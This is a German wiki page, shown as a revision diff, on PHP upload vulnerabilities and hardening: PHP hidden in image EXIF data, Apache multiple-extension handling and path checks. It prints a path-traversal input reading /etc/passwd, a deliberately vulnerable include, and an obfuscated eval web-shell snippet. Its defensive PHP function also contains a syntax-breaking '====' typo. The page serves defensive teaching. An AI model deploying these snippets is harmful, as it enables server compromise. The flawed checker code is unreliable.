PHP - Upload Vulnerabilities: Unterschied zwischen den Versionen
| Zeile 114: | Zeile 114: | ||
=== Einfacher Filecheck für Upload === | === Einfacher Filecheck für Upload === | ||
| − | == Eval is Evil == | + | === Eval is Evil === |
Z.B. über Manipulierte Bider die vom Apache als PHP interpretiert werden versucht der Angreifer PHP Dateien einzuschleusen. Oft wir die eval Funktion genutzt um dann über _POST übermittelten Code ausführen zu können. | Z.B. über Manipulierte Bider die vom Apache als PHP interpretiert werden versucht der Angreifer PHP Dateien einzuschleusen. Oft wir die eval Funktion genutzt um dann über _POST übermittelten Code ausführen zu können. | ||
Beispiel für ein einfaches Remote Control Script mit einfacher Cachierung: | Beispiel für ein einfaches Remote Control Script mit einfacher Cachierung: | ||
Version vom 31. Januar 2020, 10:29 Uhr
Links
https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung - interessanter Artikel mit einigen Suchpatterns https://medium.com/@igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389
Neben gehackten FTP Zugängen oder Accounts sind Uploads durch Frontend oder Backenduser eine der beliebtesten Methoden um Schadcode auf den Server zu bringen.
Wie funktioniert der Upload schädlicher Dateien
Der Hacker muss für 2 Dinge sorgen:
- schädliche Datei auf den Server laden
- die Datei von außen ausführen können
PHP Dateien werden entweder direkt durch aufrufen ausgeführt oder über eine Datei (meist index.php) geroutet. Dies funktioniert i.d.R. über include, require etc.
Außerdem gibt es "gefährliche" Funktionen. Die Eval Funktion z.B. führt Code aus der an Sie übergeben wird. Das macht sie für Hacks interessant.
Ein Hacker versucht also eine Datei direkt auf dem Server zu platzieren, oder / und vorhandene Dateien zu manipulieren, so dass sie Code ausführen können oder per include etc. Code nachladen.
PHP - Schmuggler
Wenn ein User Dateien über ein Webforumular hochladen darf werden die hochgeladenen Dateien bestenfalls durch einige Maßnahmen geschützt. PHP-Dateien sollte der Webserver immer ablehenen. Doch die Erkennung hat Schwächen. Alleine die Endung einer Datei (.jpg, .php, .exe) garantiert nicht, dass die Datei von einem keinem Programm gelesen wird.
PHP in Bildern und anderen Dateien
Bilddateien enthalten neben den Bildinformationen auch Textinformationen (z.B. EXIF Daten, Datei-Header...) Wenn man Code in die Datei schreiben könnte und PHP dazu bringt diesen Code auszuführen, könnte man Code leichter auf den Server bringen, denn der Upload von Bildern ist oft erlaubt.
Man sollte annehmen, dass PHP nur Code aus gültigen PHP Dateien ausführt. Aus Kompatibilitätsgründen ist das aber nicht so. Interessanterweise gibt PHP Dateien, die mit include integriert werden direkt aus:
<h1>Problem?</h1> <img src="troll-face.jpg"> <?php include "./troll-face.jpg";
Das Ergebnis des include Statements ist Buchstabensalat. Erst mal kein Problem. Wenn man aber mit einem EXIF-Editor in das Camera maker Feld Code in dieser Art einfügt:
<?php echo "
Yep, a problem!
"; phpinfo(); ?>
interpretiert PHP den
<?php ... ?> // could also be <?= ... ?>
Abschnitt als gültigen PHP Code und führt diesen aus. Wenn ein include mit Variablen arbeitet kann es also gefährlich werden:
// bad example, do not use!
if (substr($file, 0, strlen($folder)) === $folder) {
include $file;
}
Includes - Pfade manipulieren
Oft werden relative Pfade benutzt um in includes Dateien zu integrieren.
/path/to/folder/../../../../../../../another/path/from/root/
Wenn ein User Bilder hochlädt werden diese z.B. in einen speziellen Ordner der auf der User Eingabe basiert hochgeladen.
include $folder . "/" . $_GET['some']; // or $_POST, or whatever
Das ist eine schlechte Idee, denn ein User könnte auch so etwas senden:
../../../../../../etc/.passwd
Generell sollte man in Includes besser mit PHP Funktionen wie:
basename() realpath()
arbeiten. So lassen sich die Pfade nicht mehr manipulieren.
Beispiel Filecheck
<?php
/**
* Example for the article at medium.com
* Created by Igor Data.
* User: igordata
* Date: 2017-01-23
* @link https://medium.com/@igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389 Read the article
*/
/**
* Check that path is really inside that folder, and return path if yes, and false if not.
* @param String $path Path to check
* @param String $folder Path to folder, where $path have to be in
* @return bool|string False on fail, or $path on success
*
*/
function checkPathIsInFolder($path, $folder) {
if ($path === '' OR $path === null OR $path === false OR $folder === '' OR $folder ==== null OR $folder ==== false) {
/* can't use empty() because it can be a string like "0", and it's valid path */
return false;
}
$folderRealpath = realpath($folder);
$pathRealpath = realpath($path);
if ($pathRealpath === false OR $folderRealpath === false) {
// Some of paths is empty
return false;
}
$folderRealpath = rtrim($folderRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$pathRealpath = rtrim($pathRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if (strlen($pathRealpath) < strlen($folderRealpath)) {
// File path is shorter that a folder path. This file can't be inside that folder.
return false;
}
if (substr($pathRealpath, 0, strlen($folderRealpath)) !== $folderRealpath) {
// Path to a folder of file is not equal to a path to a folder where it have to be located
return false;
}
// OK
return $path;
}
Das Problem mit den File-Extensions
Eine Datei mit dem Namen shell.php.jpg wird als Bild interpretiert, sollte man annehmen, denn die letzte Extension ist .jpg. Was den Browser betrifft stimmt das auch. Apache sieht das aber in vielen Fällen anders. Wenn in der PHP Konfiguration steht:
AddHandler php5-cgi .php
Sieht Apache erst mal folgendes vor:
Filenames may have multiple extensions and the extension argument will be compared against each of them.
Das heißt eine Datei kann mehrere Extensions haben und daher kann so eine Datei auch als PHP ausgeführt werden. Verhindern läßt sich das mit so einer Konfiguration:
<FilesMatch "[^.]+\.php$"> SetHandler php5-cgi </FilesMatch>
So werden nur Dateien mit der Endung .php am Ende als PHP ausgeführt.
Beispiele
Einfacher Filecheck für Upload
Eval is Evil
Z.B. über Manipulierte Bider die vom Apache als PHP interpretiert werden versucht der Angreifer PHP Dateien einzuschleusen. Oft wir die eval Funktion genutzt um dann über _POST übermittelten Code ausführen zu können. Beispiel für ein einfaches Remote Control Script mit einfacher Cachierung:
$qV="stop_";
$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]); // stop_ wird zu _POST
if(isset(${$s20}['q760097'])){
eval(${$s20}['q760097']); // Wenn der POST Parameter q760097 übermittelt wird wird der Wert als Code ausgeführt
}